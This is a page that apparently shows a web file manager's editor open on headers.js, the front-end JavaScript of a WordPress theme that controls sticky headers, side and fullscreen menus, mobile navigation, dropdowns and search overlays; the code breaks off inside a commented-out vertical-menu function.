trAvis - MANAGER
Edit File: headers.js
(function($) { "use strict"; var header = {}; edgtf.modules.header = header; header.isStickyVisible = false; header.stickyAppearAmount = 0; header.stickyMobileAppearAmount = 0; header.behaviour; header.edgtfSideArea = edgtfSideArea; header.edgtfSideAreaScroll = edgtfSideAreaScroll; header.edgtfFullscreenMenu = edgtfFullscreenMenu; header.edgtfInitMobileNavigation = edgtfInitMobileNavigation; header.edgtfMobileHeaderBehavior = edgtfMobileHeaderBehavior; header.edgtfSetDropDownMenuPosition = edgtfSetDropDownMenuPosition; header.edgtfDropDownMenu = edgtfDropDownMenu; header.edgtfSearch = edgtfSearch; header.edgtfOnDocumentReady = edgtfOnDocumentReady; header.edgtfOnWindowLoad = edgtfOnWindowLoad; header.edgtfOnWindowResize = edgtfOnWindowResize; header.edgtfOnWindowScroll = edgtfOnWindowScroll; $(document).ready(edgtfOnDocumentReady); $(window).load(edgtfOnWindowLoad); $(window).resize(edgtfOnWindowResize); $(window).scroll(edgtfOnWindowScroll); /* All functions to be called on $(document).ready() should be in this function */ function edgtfOnDocumentReady() { edgtfHeaderBehaviour(); edgtfSideArea(); edgtfSideAreaScroll(); edgtfFullscreenMenu(); edgtfInitMobileNavigation(); edgtfMobileHeaderBehavior(); edgtfSetDropDownMenuPosition(); edgtfSearch(); edgtfVerticalMenu().init(); edgtfShopDropDownMenu(); } /* All functions to be called on $(window).load() should be in this function */ function edgtfOnWindowLoad() { edgtfSetDropDownMenuPosition(); edgtfDropDownMenu(); } /* All functions to be called on $(window).resize() should be in this function */ function edgtfOnWindowResize() { edgtfDropDownMenu(); } /* All functions to be called on $(window).scroll() should be in this function */ function edgtfOnWindowScroll() { } /* ** Show/Hide sticky header on window scroll */ function edgtfHeaderBehaviour() { var header = $('.edgtf-page-header'); var stickyHeader = $('.edgtf-sticky-header'); var fixedHeaderWrapper = $('.edgtf-fixed-wrapper'); var headerMenuAreaOffset = $('.edgtf-page-header').find('.edgtf-fixed-wrapper').length ? $('.edgtf-page-header').find('.edgtf-fixed-wrapper').offset().top : null; var stickyAppearAmount; switch(true) { // sticky header that will be shown when user scrolls up case edgtf.body.hasClass('edgtf-sticky-header-on-scroll-up'): edgtf.modules.header.behaviour = 'edgtf-sticky-header-on-scroll-up'; var docYScroll1 = $(document).scrollTop(); stickyAppearAmount = edgtfGlobalVars.vars.edgtfTopBarHeight + edgtfGlobalVars.vars.edgtfLogoAreaHeight + edgtfGlobalVars.vars.edgtfMenuAreaHeight + edgtfGlobalVars.vars.edgtfStickyHeaderHeight; var headerAppear = function(){ var docYScroll2 = $(document).scrollTop(); if((docYScroll2 > docYScroll1 && docYScroll2 > stickyAppearAmount) || (docYScroll2 < stickyAppearAmount)) { edgtf.modules.header.isStickyVisible= false; stickyHeader.removeClass('header-appear').find('.edgtf-main-menu .edgtf-menu-second').removeClass('edgtf-drop-down-start'); }else { edgtf.modules.header.isStickyVisible = true; stickyHeader.addClass('header-appear'); } docYScroll1 = $(document).scrollTop(); }; headerAppear(); $(window).scroll(function() { headerAppear(); }); break; // sticky header that will be shown when user scrolls both up and down case edgtf.body.hasClass('edgtf-sticky-header-on-scroll-down-up'): edgtf.modules.header.behaviour = 'edgtf-sticky-header-on-scroll-down-up'; if(edgtfPerPageVars.vars.edgtfStickyScrollAmount !== 0){ edgtf.modules.header.stickyAppearAmount = edgtfPerPageVars.vars.edgtfStickyScrollAmount; }else{ edgtf.modules.header.stickyAppearAmount = edgtfGlobalVars.vars.edgtfStickyScrollAmount !== 0 ? edgtfGlobalVars.vars.edgtfStickyScrollAmount : edgtfGlobalVars.vars.edgtfTopBarHeight + edgtfGlobalVars.vars.edgtfLogoAreaHeight + edgtfGlobalVars.vars.edgtfMenuAreaHeight; } var headerAppear = function(){ if(edgtf.scroll < edgtf.modules.header.stickyAppearAmount) { edgtf.modules.header.isStickyVisible = false; stickyHeader.removeClass('header-appear').find('.edgtf-main-menu .edgtf-menu-second').removeClass('edgtf-drop-down-start'); }else{ edgtf.modules.header.isStickyVisible = true; stickyHeader.addClass('header-appear'); } }; headerAppear(); $(window).scroll(function() { headerAppear(); }); break; // on scroll down, part of header will be sticky case edgtf.body.hasClass('edgtf-fixed-on-scroll'): edgtf.modules.header.behaviour = 'edgtf-fixed-on-scroll'; var headerFixed = function(){ if(edgtf.scroll < headerMenuAreaOffset){ fixedHeaderWrapper.removeClass('fixed'); header.css('margin-bottom',0);} else{ fixedHeaderWrapper.addClass('fixed'); header.css('margin-bottom',fixedHeaderWrapper.height()); } }; headerFixed(); $(window).scroll(function() { headerFixed(); }); break; } } /** * Show/hide side area */ function edgtfSideArea() { var wrapper = $('.edgtf-wrapper'), sideMenu = $('.edgtf-side-menu'), sideMenuButtonOpen = $('a.edgtf-side-menu-button-opener'), cssClass, //Flags slideFromRight = false, slideWithContent = false, slideUncovered = false; if (edgtf.body.hasClass('edgtf-side-menu-slide-from-right')) { $('.edgtf-cover').remove(); cssClass = 'edgtf-right-side-menu-opened'; wrapper.prepend('<div class="edgtf-cover"/>'); slideFromRight = true; } else if (edgtf.body.hasClass('edgtf-side-menu-slide-with-content')) { cssClass = 'edgtf-side-menu-open'; slideWithContent = true; } else if (edgtf.body.hasClass('edgtf-side-area-uncovered-from-content')) { cssClass = 'edgtf-right-side-menu-opened'; slideUncovered = true; } $('a.edgtf-side-menu-button-opener, a.edgtf-close-side-menu').click( function(e) { e.preventDefault(); if(!sideMenuButtonOpen.hasClass('opened')) { sideMenuButtonOpen.addClass('opened'); edgtf.body.addClass(cssClass); if (slideFromRight) { $('.edgtf-wrapper .edgtf-cover').click(function() { edgtf.body.removeClass('edgtf-right-side-menu-opened'); sideMenuButtonOpen.removeClass('opened'); }); } if (slideUncovered) { sideMenu.css({ 'visibility' : 'visible' }); } var currentScroll = $(window).scrollTop(); $(window).scroll(function() { if(Math.abs(edgtf.scroll - currentScroll) > 400){ edgtf.body.removeClass(cssClass); sideMenuButtonOpen.removeClass('opened'); if (slideUncovered) { var hideSideMenu = setTimeout(function(){ sideMenu.css({'visibility':'hidden'}); clearTimeout(hideSideMenu); },400); } } }); } else { sideMenuButtonOpen.removeClass('opened'); edgtf.body.removeClass(cssClass); if (slideUncovered) { var hideSideMenu = setTimeout(function(){ sideMenu.css({'visibility':'hidden'}); clearTimeout(hideSideMenu); },400); } } if (slideWithContent) { e.stopPropagation(); wrapper.click(function() { e.preventDefault(); sideMenuButtonOpen.removeClass('opened'); edgtf.body.removeClass('edgtf-side-menu-open'); }); } }); } /* ** Smooth scroll functionality for Side Area */ function edgtfSideAreaScroll(){ var sideMenu = $('.edgtf-side-menu'); if(sideMenu.length){ sideMenu.niceScroll({ scrollspeed: 60, mousescrollstep: 40, cursorwidth: 0, cursorborder: 0, cursorborderradius: 0, cursorcolor: "transparent", autohidemode: false, horizrailenabled: false }); } } /** * Init Fullscreen Menu */ function edgtfFullscreenMenu() { if ($('a.edgtf-fullscreen-menu-opener').length) { var popupMenuOpener = $( 'a.edgtf-fullscreen-menu-opener'), popupMenuHolderOuter = $(".edgtf-fullscreen-menu-holder-outer"), cssClass, //Flags for type of animation fadeRight = false, fadeTop = false, //Widgets widgetAboveNav = $('.edgtf-fullscreen-above-menu-widget-holder'), widgetBelowNav = $('.edgtf-fullscreen-below-menu-widget-holder'), //Menu menuItems = $('.edgtf-fullscreen-menu-holder-outer nav > ul > li > a'), menuItemWithChild = $('.edgtf-fullscreen-menu > ul li.edgtf-has-sub > a'), menuItemWithoutChild = $('.edgtf-fullscreen-menu ul li:not(.edgtf-has-sub) a'); //set height of popup holder and initialize nicescroll popupMenuHolderOuter.height(edgtf.windowHeight).niceScroll({ scrollspeed: 30, mousescrollstep: 20, cursorwidth: 0, cursorborder: 0, cursorborderradius: 0, cursorcolor: "transparent", autohidemode: false, horizrailenabled: false }); //200 is top and bottom padding of holder //set height of popup holder on resize $(window).resize(function() { popupMenuHolderOuter.height(edgtf.windowHeight); }); if (edgtf.body.hasClass('edgtf-fade-push-text-right')) { cssClass = 'edgtf-push-nav-right'; fadeRight = true; } else if (edgtf.body.hasClass('edgtf-fade-push-text-top')) { cssClass = 'edgtf-push-text-top'; fadeTop = true; } //Appearing animation if (fadeRight || fadeTop) { if (widgetAboveNav.length) { widgetAboveNav.children().css({ '-webkit-animation-delay' : 0 + 'ms', '-moz-animation-delay' : 0 + 'ms', 'animation-delay' : 0 + 'ms' }); } menuItems.each(function(i) { $(this).css({ '-webkit-animation-delay': (i+1) * 70 + 'ms', '-moz-animation-delay': (i+1) * 70 + 'ms', 'animation-delay': (i+1) * 70 + 'ms' }); }); if (widgetBelowNav.length) { widgetBelowNav.children().css({ '-webkit-animation-delay' : (menuItems.length + 1)*70 + 'ms', '-moz-animation-delay' : (menuItems.length + 1)*70 + 'ms', 'animation-delay' : (menuItems.length + 1)*70 + 'ms' }); } } // Open popup menu popupMenuOpener.on('click',function(e){ e.preventDefault(); if (!popupMenuOpener.hasClass('opened')) { popupMenuOpener.addClass('opened'); edgtf.body.addClass('edgtf-fullscreen-menu-opened'); edgtf.body.removeClass('edgtf-fullscreen-fade-out').addClass('edgtf-fullscreen-fade-in'); edgtf.body.removeClass(cssClass); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfDisableScroll(); } $(document).keyup(function(e){ if (e.keyCode == 27 ) { popupMenuOpener.removeClass('opened'); edgtf.body.removeClass('edgtf-fullscreen-menu-opened'); edgtf.body.removeClass('edgtf-fullscreen-fade-in').addClass('edgtf-fullscreen-fade-out'); edgtf.body.addClass(cssClass); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfEnableScroll(); } $("nav.edgtf-fullscreen-menu ul.sub_menu").slideUp(200, function(){ $('nav.popup_menu').getNiceScroll().resize(); }); } }); } else { popupMenuOpener.removeClass('opened'); edgtf.body.removeClass('edgtf-fullscreen-menu-opened'); edgtf.body.removeClass('edgtf-fullscreen-fade-in').addClass('edgtf-fullscreen-fade-out'); edgtf.body.addClass(cssClass); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfEnableScroll(); } $("nav.edgtf-fullscreen-menu ul.sub_menu").slideUp(200, function(){ $('nav.popup_menu').getNiceScroll().resize(); }); } }); //logic for open sub menus in popup menu menuItemWithChild.on('tap click', function(e) { e.preventDefault(); if ($(this).parent().hasClass('edgtf-has-sub')) { var submenu = $(this).parent().find('> ul.sub_menu'); if (submenu.is(':visible')) { submenu.slideUp(200, function() { popupMenuHolderOuter.getNiceScroll().resize(); }); $(this).parent().removeClass('open_sub'); } else { if($(this).parent().siblings().hasClass('open_sub')) { $(this).parent().siblings().each(function() { var sibling = $(this); if(sibling.hasClass('open_sub')) { var openedUl = sibling.find('> ul.sub_menu') openedUl.slideUp(200, function () { popupMenuHolderOuter.getNiceScroll().resize(); }); sibling.removeClass('open_sub'); } if(sibling.find('.open_sub')) { var openedUlUl = sibling.find('.open_sub').find('> ul.sub_menu') openedUlUl.slideUp(200, function () { popupMenuHolderOuter.getNiceScroll().resize(); }); sibling.find('.open_sub').removeClass('open_sub'); } }); } $(this).parent().addClass('open_sub'); submenu.slideDown(200, function() { popupMenuHolderOuter.getNiceScroll().resize(); }); } } return false; }); //if link has no submenu and if it's not dead, than open that link menuItemWithoutChild.click(function (e) { if(($(this).attr('href') !== "http://#") && ($(this).attr('href') !== "#")){ if (e.which == 1) { popupMenuOpener.removeClass('opened'); edgtf.body.removeClass('edgtf-fullscreen-menu-opened'); edgtf.body.removeClass('edgtf-fullscreen-fade-in').addClass('edgtf-fullscreen-fade-out'); edgtf.body.addClass(cssClass); $("nav.edgtf-fullscreen-menu ul.sub_menu").slideUp(200, function(){ $('nav.popup_menu').getNiceScroll().resize(); }); edgtf.modules.common.edgtfEnableScroll(); } }else{ return false; } }); } } function edgtfInitMobileNavigation() { var navigationOpener = $('.edgtf-mobile-header .edgtf-mobile-menu-opener'); var navigationHolder = $('.edgtf-mobile-header .edgtf-mobile-nav'); var dropdownOpener = $('.edgtf-mobile-nav .mobile_arrow, .edgtf-mobile-nav h4, .edgtf-mobile-nav a[href*="#"]'); var animationSpeed = 200; //whole mobile menu opening / closing if(navigationOpener.length && navigationHolder.length) { navigationOpener.on('tap click', function(e) { e.stopPropagation(); e.preventDefault(); if(navigationHolder.is(':visible')) { navigationHolder.slideUp(animationSpeed); } else { navigationHolder.slideDown(animationSpeed); } }); } //dropdown opening / closing if(dropdownOpener.length) { dropdownOpener.each(function() { $(this).on('tap click', function(e) { var dropdownToOpen = $(this).nextAll('ul').first(); if(dropdownToOpen.length) { e.preventDefault(); e.stopPropagation(); var openerParent = $(this).parent('li'); if(dropdownToOpen.is(':visible')) { dropdownToOpen.slideUp(animationSpeed); openerParent.removeClass('edgtf-opened'); } else { dropdownToOpen.slideDown(animationSpeed); openerParent.addClass('edgtf-opened'); } } }); }); } $('.edgtf-mobile-nav a, .edgtf-mobile-logo-wrapper a').on('click tap', function(e) { if($(this).attr('href') !== 'http://#' && $(this).attr('href') !== '#') { navigationHolder.slideUp(animationSpeed); } }); } function edgtfMobileHeaderBehavior() { if(edgtf.body.hasClass('edgtf-sticky-up-mobile-header')) { var stickyAppearAmount; var topBar = $('.edgtf-top-bar'); var mobileHeader = $('.edgtf-mobile-header'); var adminBar = $('#wpadminbar'); var mobileHeaderHeight = mobileHeader.length ? mobileHeader.height() : 0; var topBarHeight = topBar.is(':visible') ? topBar.height() : 0; var adminBarHeight = adminBar.length ? adminBar.height() : 0; var docYScroll1 = $(document).scrollTop(); edgtf.modules.header.stickyMobileAppearAmount = topBarHeight + mobileHeaderHeight + adminBarHeight; stickyAppearAmount = edgtf.modules.header.stickyMobileAppearAmount; $(window).scroll(function() { var docYScroll2 = $(document).scrollTop(); if(docYScroll2 > stickyAppearAmount) { mobileHeader.addClass('edgtf-animate-mobile-header'); mobileHeader.css('margin-bottom', mobileHeaderHeight); } else { mobileHeader.removeClass('edgtf-animate-mobile-header'); mobileHeader.css('margin-bottom', 0); } if((docYScroll2 > docYScroll1 && docYScroll2 > stickyAppearAmount) || (docYScroll2 < stickyAppearAmount)) { mobileHeader.removeClass('mobile-header-appear'); if(adminBar.length) { mobileHeader.find('.edgtf-mobile-header-inner').css('top', 0); } } else { mobileHeader.addClass('mobile-header-appear'); } docYScroll1 = $(document).scrollTop(); }); } } /** * Set dropdown position */ function edgtfSetDropDownMenuPosition(){ var menuItems = $(".edgtf-drop-down > ul > li.edgtf-menu-narrow"); menuItems.each( function(i) { var browserWidth = edgtf.windowWidth-16; // 16 is width of scroll bar var menuItemPosition = $(this).offset().left; var dropdownMenuWidth = $(this).find('.edgtf-menu-second .edgtf-menu-inner ul').width(); var menuItemFromLeft = 0; if(edgtf.body.hasClass('boxed')){ menuItemFromLeft = edgtf.boxedLayoutWidth - (menuItemPosition - (browserWidth - edgtf.boxedLayoutWidth )/2); } else { menuItemFromLeft = browserWidth - menuItemPosition; } var dropDownMenuFromLeft; //has to stay undefined beacuse 'dropDownMenuFromLeft < dropdownMenuWidth' condition will be true if($(this).find('li.edgtf-sub').length > 0){ dropDownMenuFromLeft = menuItemFromLeft - dropdownMenuWidth; } if(menuItemFromLeft < dropdownMenuWidth || dropDownMenuFromLeft < dropdownMenuWidth){ $(this).find('.edgtf-menu-second').addClass('right'); $(this).find('.edgtf-menu-second .edgtf-menu-inner ul').addClass('right'); } }); } function edgtfDropDownMenu() { var menu_items = $('.edgtf-drop-down > ul > li'); menu_items.each(function(i) { if($(menu_items[i]).find('.edgtf-menu-second').length > 0) { var dropDownSecondDiv = $(menu_items[i]).find('.edgtf-menu-second'); if($(menu_items[i]).hasClass('edgtf-menu-wide')) { var dropdown = $(this).find('.edgtf-menu-inner > ul'); var dropdownPadding = parseInt(dropdown.css('padding-left').slice(0, -2)) + parseInt(dropdown.css('padding-right').slice(0, -2)); var dropdownWidth = dropdown.outerWidth(); if(!$(this).hasClass('edgtf-menu-left-position') && !$(this).hasClass('edgtf-menu-right-position')) { dropDownSecondDiv.css('left', 0); } //set columns to be same height - start var tallest = 0; $(this).find('.edgtf-menu-second > .edgtf-menu-inner > ul > li').each(function() { var thisHeight = $(this).height(); if(thisHeight > tallest) { tallest = thisHeight; } }); $(this).find('.edgtf-menu-second > .edgtf-menu-inner > ul > li').css("height", ""); // delete old inline css - via resize $(this).find('.edgtf-menu-second > .edgtf-menu-inner > ul > li').height(tallest); //set columns to be same height - end if(!$(this).hasClass('wide-background')) { if(!$(this).hasClass('edgtf-menu-left-position') && !$(this).hasClass('edgtf-menu-right-position')) { var left_position = (edgtf.windowWidth - 2 * (edgtf.windowWidth - dropdown.offset().left)) / 2 + (dropdownWidth + dropdownPadding) / 2; dropDownSecondDiv.css('left', -left_position); } } else { if(!$(this).hasClass('edgtf-menu-left-position') && !$(this).hasClass('edgtf-menu-right-position')) { var left_position = dropdown.offset().left; dropDownSecondDiv.css('left', -left_position); dropDownSecondDiv.css('width', edgtf.windowWidth); } } } if(!edgtf.menuDropdownHeightSet) { $(menu_items[i]).data('original_height', dropDownSecondDiv.height() + 'px'); dropDownSecondDiv.height(0); } if(navigator.userAgent.match(/(iPod|iPhone|iPad)/)) { $(menu_items[i]).on("touchstart mouseenter", function() { dropDownSecondDiv.css({ 'height': $(menu_items[i]).data('original_height'), 'overflow': 'visible', 'visibility': 'visible', 'opacity': '1' }); }).on("mouseleave", function() { dropDownSecondDiv.css({ 'height': '0px', 'overflow': 'hidden', 'visibility': 'hidden', 'opacity': '0' }); }); } else { if(edgtf.body.hasClass('edgtf-dropdown-animate-height')) { $(menu_items[i]).mouseenter(function() { dropDownSecondDiv.css({ 'visibility': 'visible', 'height': '0px', 'opacity': '0' }); dropDownSecondDiv.stop().animate({ 'height': $(menu_items[i]).data('original_height'), opacity: 1 }, 300, function() { dropDownSecondDiv.css('overflow', 'visible'); }); }).mouseleave(function() { dropDownSecondDiv.stop().animate({ 'height': '0px' }, 0, function() { dropDownSecondDiv.css({ 'overflow': 'hidden', 'visibility': 'hidden' }); }); }); } else { var config = { interval: 0, over: function() { setTimeout(function() { dropDownSecondDiv.addClass('edgtf-drop-down-start'); dropDownSecondDiv.stop().css({'height': $(menu_items[i]).data('original_height')}); }, 150); }, timeout: 150, out: function() { dropDownSecondDiv.stop().css({'height': '0px'}); dropDownSecondDiv.removeClass('edgtf-drop-down-start'); } }; $(menu_items[i]).hoverIntent(config); } } } }); $('.edgtf-drop-down ul li.edgtf-menu-wide ul li a').on('click', function(e) { if (e.which == 1){ var $this = $(this); setTimeout(function() { $this.mouseleave(); }, 500); } }); edgtf.menuDropdownHeightSet = true; } function edgtfShopDropDownMenu() { if (edgtf.body.hasClass('edgtf-dropdown-animate-height')) { var shoppingCart = $('.edgtf-shopping-cart-outer'); shoppingCart.mouseenter(function() { var shopMenu = $(this).find(".edgtf-shopping-cart-dropdown"), shopMenuHeight = shopMenu.height(); shopMenu.css({ 'visibility': 'visible', 'height': '0px', 'opacity': '0' }); shopMenu.stop().animate({ 'height': shopMenuHeight, 'opacity': '1' }, 600 ,'easeInOutQuint'); }).mouseleave(function() { var shopMenu = $(this).find(".edgtf-shopping-cart-dropdown"); shopMenu.css({ 'height': 'auto' }); var shopMenuHeight = shopMenu.height(); $(".edgtf-shopping-cart-dropdown").stop().animate({ 'opacity': '0', 'height': shopMenuHeight }, 0, function() { shopMenu.css({ 'overflow': 'hidden', 'visibility': 'hidden' }); }); }); } } /** * Init Search Types */ function edgtfSearch() { var searchOpener = $('a.edgtf-search-opener'), searchClose, touch = false; if ( $('html').hasClass( 'touch' ) ) { touch = true; } if ( searchOpener.length > 0 ) { searchOpener.each(function(){ var thisSearchOpener = $(this); //Check for type of search if ( edgtf.body.hasClass( 'edgtf-fullscreen-search' ) ) { var fullscreenSearchFade = false, fullscreenSearchFromCircle = false; searchClose = $( '.edgtf-fullscreen-search-close' ); if (edgtf.body.hasClass('edgtf-search-fade')) { fullscreenSearchFade = true; } else if (edgtf.body.hasClass('edgtf-search-from-circle')) { fullscreenSearchFromCircle = true; } edgtfFullscreenSearch( fullscreenSearchFade, fullscreenSearchFromCircle ); } else if ( edgtf.body.hasClass( 'edgtf-search-covers-header' ) ) { edgtfSearchCoversHeader(); } //Check for hover color of search if(typeof thisSearchOpener.data('hover-color') !== 'undefined') { var changeSearchColor = function(event) { event.data.searchOpener.css('color', event.data.color); }; var originalColor = thisSearchOpener.css('color'); var hoverColor = thisSearchOpener.data('hover-color'); thisSearchOpener.on('mouseenter', { searchOpener: thisSearchOpener, color: hoverColor }, changeSearchColor); thisSearchOpener.on('mouseleave', { searchOpener: thisSearchOpener, color: originalColor }, changeSearchColor); } }); } /** * Search covers header type of search */ function edgtfSearchCoversHeader() { searchOpener.click( function(e) { e.preventDefault(); var searchFormHeight, searchFormHolder = $('.edgtf-search-cover .edgtf-form-holder-outer'), searchFormHolderPosition = $('.edgtf-search-cover .edgtf-form-holder-outer'), searchClose = searchFormHolder.find('.edgtf-search-close'), searchForm, searchFormLandmark; // there is one more div element if header is in grid if($(this).closest('.edgtf-grid').length){ searchForm = $(this).closest('.edgtf-grid').children().first(); searchFormLandmark = searchForm.parent(); } else{ searchForm = $(this).closest('.edgtf-menu-area').children().first(); searchFormLandmark = searchForm; } if ( $(this).closest('.edgtf-sticky-header').length > 0 ) { searchForm = $(this).closest('.edgtf-sticky-header').children().first(); searchFormLandmark = searchForm.parent(); searchFormHolderPosition = $(this).closest('.edgtf-sticky-header').find('.edgtf-form-holder-outer'); } if ( $(this).closest('.edgtf-mobile-header').length > 0 ) { searchForm = $(this).closest('.edgtf-mobile-header').children().children().first(); } //Find search form position in header and height if ( searchFormLandmark.parent().hasClass('edgtf-logo-area') ) { searchFormHeight = edgtfGlobalVars.vars.edgtfLogoAreaHeight; } else if ( searchFormLandmark.parent().hasClass('edgtf-top-bar') ) { searchFormHeight = edgtfGlobalVars.vars.edgtfTopBarHeight; } else if ( searchFormLandmark.parent().hasClass('edgtf-menu-area') ) { searchFormHeight = edgtfGlobalVars.vars.edgtfMenuAreaHeight - edgtfGlobalVars.vars.edgtfTopBarHeight; } else if ( searchFormLandmark.hasClass('edgtf-sticky-header') ) { searchFormHeight = edgtfGlobalVars.vars.edgtfStickyHeaderHeight; } else if ( searchFormLandmark.parent().hasClass('edgtf-mobile-header') ) { searchFormHeight = $('.edgtf-mobile-header-inner').height(); } searchFormHolder.height(searchFormHeight); searchForm.stop(true).fadeIn(400, 'easeInOutQuint'); searchClose.css({'left':searchOpener.offset().left - searchFormHolderPosition.offset().left,'right':'auto'}); $('.edgtf-search-cover input[type="text"]').focus(); $('.edgtf-search-close, .edgtf-content, footer').click(function(e){ e.preventDefault(); searchForm.stop(true).fadeOut(250, 'easeInOutQuint'); }); searchForm.blur(function() { searchForm.stop(true).fadeOut(250, 'easeInOutQuint'); }); //Close on escape $(document).keyup(function(e){ if (e.keyCode == 27 ) { //KeyCode for ESC button is 27 searchForm.stop(true).fadeOut(250, 'easeInOutQuint'); } }); }); } /** * Fullscreen search (two types: fade and from circle) */ function edgtfFullscreenSearch( fade, fromCircle ) { var searchHolder = $( '.edgtf-fullscreen-search-holder'), searchOverlay = $( '.edgtf-fullscreen-search-overlay' ); searchOpener.click( function(e) { e.preventDefault(); var samePosition = false; if ( $(this).data('icon-close-same-position') === 'yes' ) { var closeTop = $(this).offset().top; var closeLeft = $(this).offset().left; samePosition = true; } //Fullscreen search fade if ( fade ) { if ( searchHolder.hasClass( 'edgtf-animate' ) ) { edgtf.body.removeClass('edgtf-fullscreen-search-opened'); edgtf.body.addClass( 'edgtf-search-fade-out' ); edgtf.body.removeClass( 'edgtf-search-fade-in' ); searchHolder.removeClass( 'edgtf-animate' ); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfEnableScroll(); } } else { edgtf.body.addClass('edgtf-fullscreen-search-opened'); edgtf.body.removeClass('edgtf-search-fade-out'); edgtf.body.addClass('edgtf-search-fade-in'); searchHolder.addClass('edgtf-animate'); if (samePosition) { searchClose.css({ 'top' : closeTop - edgtf.scroll, // Distance from top of viewport ( distance from top of window - scroll distance ) 'left' : closeLeft }); } if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfDisableScroll(); } } searchClose.click( function(e) { e.preventDefault(); edgtf.body.removeClass('edgtf-fullscreen-search-opened'); searchHolder.removeClass('edgtf-animate'); edgtf.body.removeClass('edgtf-search-fade-in'); edgtf.body.addClass('edgtf-search-fade-out'); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfEnableScroll(); } }); //Close on escape $(document).keyup(function(e){ if (e.keyCode == 27 ) { //KeyCode for ESC button is 27 edgtf.body.removeClass('edgtf-fullscreen-search-opened'); searchHolder.removeClass('edgtf-animate'); edgtf.body.removeClass('edgtf-search-fade-in'); edgtf.body.addClass('edgtf-search-fade-out'); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfEnableScroll(); } } }); } //Fullscreen search from circle if ( fromCircle ) { if( searchOverlay.hasClass('edgtf-animate') ) { searchOverlay.removeClass('edgtf-animate'); searchHolder.css({ 'opacity': 0, 'display':'none' }); searchClose.css({ 'opacity' : 0, 'visibility' : 'hidden' }); searchOpener.css({ 'opacity': 1 }); } else { searchOverlay.addClass('edgtf-animate'); searchHolder.css({ 'display':'block' }); setTimeout(function(){ searchHolder.css('opacity','1'); searchClose.css({ 'opacity' : 1, 'visibility' : 'visible', 'top' : closeTop - edgtf.scroll, // Distance from top of viewport ( distance from top of window - scroll distance ) 'left' : closeLeft }); if (samePosition) { searchClose.css({ 'top' : closeTop - edgtf.scroll, // Distance from top of viewport ( distance from top of window - scroll distance ) 'left' : closeLeft }); } searchOpener.css({ 'opacity' : 0 }); },200); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfDisableScroll(); } } searchClose.click(function(e) { e.preventDefault(); searchOverlay.removeClass('edgtf-animate'); searchHolder.css({ 'opacity' : 0, 'display' : 'none' }); searchClose.css({ 'opacity':0, 'visibility' : 'hidden' }); searchOpener.css({ 'opacity' : 1 }); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfEnableScroll(); } }); //Close on escape $(document).keyup(function(e){ if (e.keyCode == 27 ) { //KeyCode for ESC button is 27 searchOverlay.removeClass('edgtf-animate'); searchHolder.css({ 'opacity' : 0, 'display' : 'none' }); searchClose.css({ 'opacity':0, 'visibility' : 'hidden' }); searchOpener.css({ 'opacity' : 1 }); if(!edgtf.body.hasClass('page-template-full_screen-php')){ edgtf.modules.common.edgtfEnableScroll(); } } }); } }); //Text input focus change $('.edgtf-fullscreen-search-holder .edgtf-search-field').focus(function(){ $('.edgtf-fullscreen-search-holder .edgtf-field-holder .edgtf-line').css("width","100%"); }); $('.edgtf-fullscreen-search-holder .edgtf-search-field').blur(function(){ $('.edgtf-fullscreen-search-holder .edgtf-field-holder .edgtf-line').css("width","0"); }); } } /** * Function object that represents vertical menu area. * @returns {{init: Function}} */ var edgtfVerticalMenu = function() { /** * Main vertical area object that used through out function * @type {jQuery object} */ var verticalMenuObject = $('.edgtf-vertical-menu-area'); /** * Resizes vertical area. Called whenever height of navigation area changes * It first check if vertical area is scrollable, and if it is resizes scrollable area */ //var resizeVerticalArea = function() { // if(verticalAreaScrollable()) { // verticalMenuObject.getNiceScroll().resize(); // } //}; /** * Checks if vertical area is scrollable (if it has edgtf-with-scroll class) * * @returns {bool} */ //var verticalAreaScrollable = function() { // return verticalMenuObject.hasClass('.edgtf-with-scroll'); //}; /** * Initialzes navigation functionality. It checks navigation type data attribute and calls proper functions */ var initNavigation = function() { var verticalNavObject = verticalMenuObject.find('.edgtf-vertical-menu'); var navigationType = typeof verticalNavObject.data('navigation-type') !== 'undefined' ? verticalNavObject.data('navigation-type') : ''; switch(navigationType) { //case 'dropdown-toggle': // dropdownHoverToggle(); // break; //case 'dropdown-toggle-click': // dropdownClickToggle(); // break; //case 'float': // dropdownFloat(); // break; //case 'slide-in': // dropdownSlideIn(); // break; default: dropdownFloat(); break; } /** * Initializes hover toggle navigation type. It has separate functionalities for touch and no-touch devices */ //function dropdownHoverToggle() { // var menuItems = verticalNavObject.find('ul li.menu-item-has-children'); // // menuItems.each(function() { // var elementToExpand = $(this).find(' > .edgtf-menu-second, > ul'); // var numberOfChildItems = elementToExpand.find(' > .inner > ul > li, > li').length; // // var animSpeed = numberOfChildItems * 40; // var animFunc = 'easeInOutSine'; // var that = this; // // //touch devices functionality // if(Modernizr.touch) { // var dropdownOpener = $(this).find('> a'); // // dropdownOpener.on('click tap', function(e) { // e.preventDefault(); // e.stopPropagation(); // // if(elementToExpand.is(':visible')) { // $(that).removeClass('open'); // elementToExpand.slideUp(animSpeed, animFunc, function() { // resizeVerticalArea(); // }); // } else { // $(that).addClass('open'); // elementToExpand.slideDown(animSpeed, animFunc, function() { // resizeVerticalArea(); // }); // } // }); // } else { // $(this).hover(function() { // $(that).addClass('open'); // elementToExpand.slideDown(animSpeed, animFunc, function() { // resizeVerticalArea(); // }); // }, function() { // setTimeout(function() { // $(that).removeClass('open'); // elementToExpand.slideUp(animSpeed, animFunc, function() { // resizeVerticalArea(); // }); // }, 1000); // }); // } // }); //} /** * Initializes click toggle navigation type. Works the same for touch and no-touch devices */ //function dropdownClickToggle() { // var menuItems = verticalNavObject.find('ul li.menu-item-has-children'); // // menuItems.each(function() { // var elementToExpand = $(this).find(' > .edgtf-menu-second, > ul'); // var menuItem = this; // var dropdownOpener = $(this).find('> a'); // var slideUpSpeed = 'fast'; // var slideDownSpeed = 'slow'; // // dropdownOpener.on('click tap', function(e) { // e.preventDefault(); // 